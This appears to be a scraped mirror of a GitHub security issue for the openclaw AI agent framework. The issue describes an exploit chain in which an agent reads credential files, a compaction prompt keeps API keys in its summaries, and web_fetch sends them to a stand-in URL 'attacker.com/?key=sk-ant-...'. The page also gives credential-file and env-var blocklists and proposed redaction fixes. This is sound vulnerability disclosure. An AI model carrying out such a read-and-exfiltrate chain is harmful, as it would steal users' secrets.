openclaw - 💡(How to fix) Fix Security: credential exfiltration chain — read + compaction preservation + web_fetch [1 comments, 1 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#56268Fetched 2026-04-08 01:42:56
View on GitHub
Comments
1
Participants
1
Timeline
3
Reactions
0
Participants
Timeline (top)
closed ×1commented ×1locked ×1

Error Message

Feishu tool errors unredacted (Medium): extensions/feishu/src/tool-result.ts passes raw error.message to the agent without calling redactSensitiveText. The Lark SDK error messages may contain API tokens. error.message with redactSensitiveText() before returning to agent.

Code Example

"Preserve all opaque identifiers exactly as written (no shortening or reconstruction),
including UUIDs, hashes, IDs, tokens, API keys, hostnames, IPs, ports, URLs, and file names."

---

The codebase already has strong redaction infrastructure (redactConfigSnapshot,
redactSensitiveText, sanitizeDiagnosticPayload, maskApiKey). The issue is 
incomplete coverage at specific paths. Fixes:

1. COMPACTION (P0): In src/agents/compaction.ts, change the identifier 
   preservation instruction to explicitly exclude secrets:
   "Do NOT preserve API keys, secrets, tokens, passwords, or credentials.
   Replace them with [REDACTED]."
   Also: run redactSensitiveText() on conversation history before compaction.

2. READ TOOL (P0): Default tools.fs.workspaceOnly to true. Add a hardcoded 
   blocklist for ~/.openclaw/, ~/.env, and credential file patterns regardless 
   of workspaceOnly setting.

3. ENV VARS (P1): Add *_API_KEY, *_TOKEN, *_SECRET, *_PASSWORD patterns to 
   host-env-security-policy.json blocklist.

4. PAYLOAD LOGGING (P1): In anthropic-payload-log.ts, replace 
   redactImageDataForDiagnostics() with sanitizeDiagnosticPayload() which 
   already exists and strips both images and credentials.

5. FEISHU ERRORS (P2): In extensions/feishu/src/tool-result.ts, wrap 
   error.message with redactSensitiveText() before returning to agent.

6. DISCORD LOGGING (P2): In extensions/discord/src/gateway-logging.ts, 
   apply redactSensitiveText() to debug log output.
RAW_BUFFERClick to expand / collapse

Security: End-to-end credential exfiltration chain via read → compaction → web_fetch

Static analysis of the codebase found a complete attack chain where an AI agent can read credentials, persist them through context compaction, and exfiltrate them to an external server. Three independently-audited components combine:

The Chain

Step 1 — Read secrets: The read tool allows filesystem access outside the workspace by default (tools.fs.workspaceOnly defaults to false). Agent reads ~/.openclaw/openclaw.json or ~/.openclaw/.env containing API keys.

  • src/agents/pi-tools.read.ts:755-760 — path validation only checks workspace bounds when workspaceOnly is true

Step 2 — Persist through compaction: The compaction summarizer explicitly instructs the LLM to preserve API keys in summaries:

"Preserve all opaque identifiers exactly as written (no shortening or reconstruction),
including UUIDs, hashes, IDs, tokens, API keys, hostnames, IPs, ports, URLs, and file names."
  • src/agents/compaction.ts:31-33IDENTIFIER_PRESERVATION_INSTRUCTIONS
  • Default identifierPolicy is "strict", which always injects this instruction
  • Once a key appears in conversation, it survives every compaction cycle

Step 3 — Exfiltrate: web_fetch allows GET/POST to any public URL. SSRF guard only blocks private/internal IPs. Agent sends https://attacker.com/?key=sk-ant-...

  • src/agents/tools/web-fetch.ts:524-531

Additional Findings

Payload logging misses credentials (High): src/agents/anthropic-payload-log.ts:140 writes full API request payloads to disk using redactImageDataForDiagnostics() which strips images but not credentials. The sanitizeDiagnosticPayload() function that also strips credential fields exists in the same package but is not called here.

Env var blocklist incomplete (High): src/infra/host-env-security-policy.json blocks code-execution vars but not *_API_KEY, *_TOKEN, *_SECRET. Agent runs exec env and reads all secret env vars.

Feishu tool errors unredacted (Medium): extensions/feishu/src/tool-result.ts passes raw error.message to the agent without calling redactSensitiveText. The Lark SDK error messages may contain API tokens.

Discord gateway debug logging (Medium): extensions/discord/src/gateway-logging.ts logs gateway debug messages without redaction. Discord IDENTIFY payloads contain the bot token.

Suggested Fixes

The codebase already has strong redaction infrastructure (redactConfigSnapshot,
redactSensitiveText, sanitizeDiagnosticPayload, maskApiKey). The issue is 
incomplete coverage at specific paths. Fixes:

1. COMPACTION (P0): In src/agents/compaction.ts, change the identifier 
   preservation instruction to explicitly exclude secrets:
   "Do NOT preserve API keys, secrets, tokens, passwords, or credentials.
   Replace them with [REDACTED]."
   Also: run redactSensitiveText() on conversation history before compaction.

2. READ TOOL (P0): Default tools.fs.workspaceOnly to true. Add a hardcoded 
   blocklist for ~/.openclaw/, ~/.env, and credential file patterns regardless 
   of workspaceOnly setting.

3. ENV VARS (P1): Add *_API_KEY, *_TOKEN, *_SECRET, *_PASSWORD patterns to 
   host-env-security-policy.json blocklist.

4. PAYLOAD LOGGING (P1): In anthropic-payload-log.ts, replace 
   redactImageDataForDiagnostics() with sanitizeDiagnosticPayload() which 
   already exists and strips both images and credentials.

5. FEISHU ERRORS (P2): In extensions/feishu/src/tool-result.ts, wrap 
   error.message with redactSensitiveText() before returning to agent.

6. DISCORD LOGGING (P2): In extensions/discord/src/gateway-logging.ts, 
   apply redactSensitiveText() to debug log output.

Methodology

Analysis performed with cqs v1.9.0 (call graph extraction + semantic search) and manual source code tracing. Three independent audit passes: model catalog serialization, agent file/network access, and channel token exposure. Relates to security roadmap #11829.

extent analysis

Fix Plan

To address the security issue, the following steps should be taken:

  1. Compaction Fix: Update src/agents/compaction.ts to exclude secrets from identifier preservation:

const IDENTIFIER_PRESERVATION_INSTRUCTIONS = Do NOT preserve API keys, secrets, tokens, passwords, or credentials. Replace them with [REDACTED].;

   Additionally, run `redactSensitiveText()` on conversation history before compaction.

2. **Read Tool Fix**: Default `tools.fs.workspaceOnly` to `true` and add a hardcoded blocklist for sensitive files:
   ```typescript
const blocklist = ['~/.openclaw/', '~/.env'];
if (blocklist.includes(path)) {
  throw new Error(`Access to ${path} is blocked`);
}
  1. Env Vars Fix: Update host-env-security-policy.json to include patterns for API keys, tokens, and secrets:

{ "blocklist": [ "_API_KEY", "_TOKEN", "_SECRET", "_PASSWORD" ] }


4. **Payload Logging Fix**: Replace `redactImageDataForDiagnostics()` with `sanitizeDiagnosticPayload()` in `anthropic-payload-log.ts`:
   ```typescript
import { sanitizeDiagnosticPayload } from './sanitizeDiagnosticPayload';

// ...

const sanitizedPayload = sanitizeDiagnosticPayload(payload);
  1. Feishu Errors Fix: Wrap error.message with redactSensitiveText() in extensions/feishu/src/tool-result.ts:

import { redactSensitiveText } from './redactSensitiveText';

// ...

const redactedErrorMessage = redactSensitiveText(error.message);


6. **Discord Logging Fix**: Apply `redactSensitiveText()` to debug log output in `extensions/discord/src/gateway-logging.ts`:
   ```typescript
import { redactSensitiveText } from './redactSensitiveText';

// ...

const redactedLogOutput = redactSensitiveText(logOutput);

Verification

To verify the fixes, perform the following steps:

  • Test the compaction feature to ensure that secrets are not preserved.
  • Attempt to access sensitive files using the read tool to ensure that they are blocked.
  • Verify that API keys, tokens, and secrets are not logged in payload logs.
  • Test the Feishu tool to ensure that error messages do not contain sensitive information.
  • Verify that Discord debug logs do not contain sensitive information.

Extra Tips

  • Regularly review and update the blocklist to ensure that new sensitive patterns are included.
  • Consider implementing additional security measures, such as encryption and access controls, to further protect sensitive information.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING